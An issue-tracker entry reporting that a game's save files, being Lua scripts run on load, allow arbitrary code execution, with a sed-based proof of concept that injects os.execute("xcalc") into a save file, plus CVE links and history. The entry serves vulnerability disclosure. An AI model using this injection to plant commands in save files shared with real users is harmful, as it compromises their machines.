Issue953

Title	Lua code execution in loading untrusted save game		
Priority	release-blocker	Status	open
Assigned To	fluzz	Keywords	
Linked issues	CVE-2020-14938: An issue was discovered in map.c, CVE-2020-14939: An issue was discovered in savestruct_internal.c View: 968, 967	Watchers	fluzz

Submitted on **2019-07-25 14h00** by **mmmds**, last changed by **fluzz**.

Messages

Author: mmmds **Date:** 2019-07-25 14h00

```
Save games files consist of Lua script to execute during load. Assuming that users may
load malicious save games, for example downloaded or received from other users,
arbitrary code may be executed on their machines.


savestruct_internal.c, void load_game_data(char *strin)

PoC:
CH="mmm"
gunzip $CH.sav.gz
sed -i -e '0,/^$/s/^$/os.execute("xcalc")/' $CH.sav
gzip $CH.sav

Loading the save will run xcalc.
```

Author: fluzz **Date:** 2020-06-29 13h52

```
see issue967
```

History

Date	User	Action	Args
2021-11-13 22:33:14	fluzz	link	issue968 linked
2021-11-13 22:32:53	fluzz	set	linked: + CVE-2020-14938: An issue was discovered in map.c
2021-11-13 16:49:55	fluzz	link	issue967 linked
2021-11-13 16:49:52	fluzz	set	linked: + CVE-2020-14939: An issue was discovered in savestruct_internal.c
2021-11-05 13:19:17	fluzz	set	assignedto: fluzz nosy: + fluzz
2021-11-05 10:53:20	fluzz	set	priority: bug -> release-blocker
2020-06-29 13:52:32	fluzz	set	messages: + msg3696
2019-07-25 14:00:46	mmmds	create	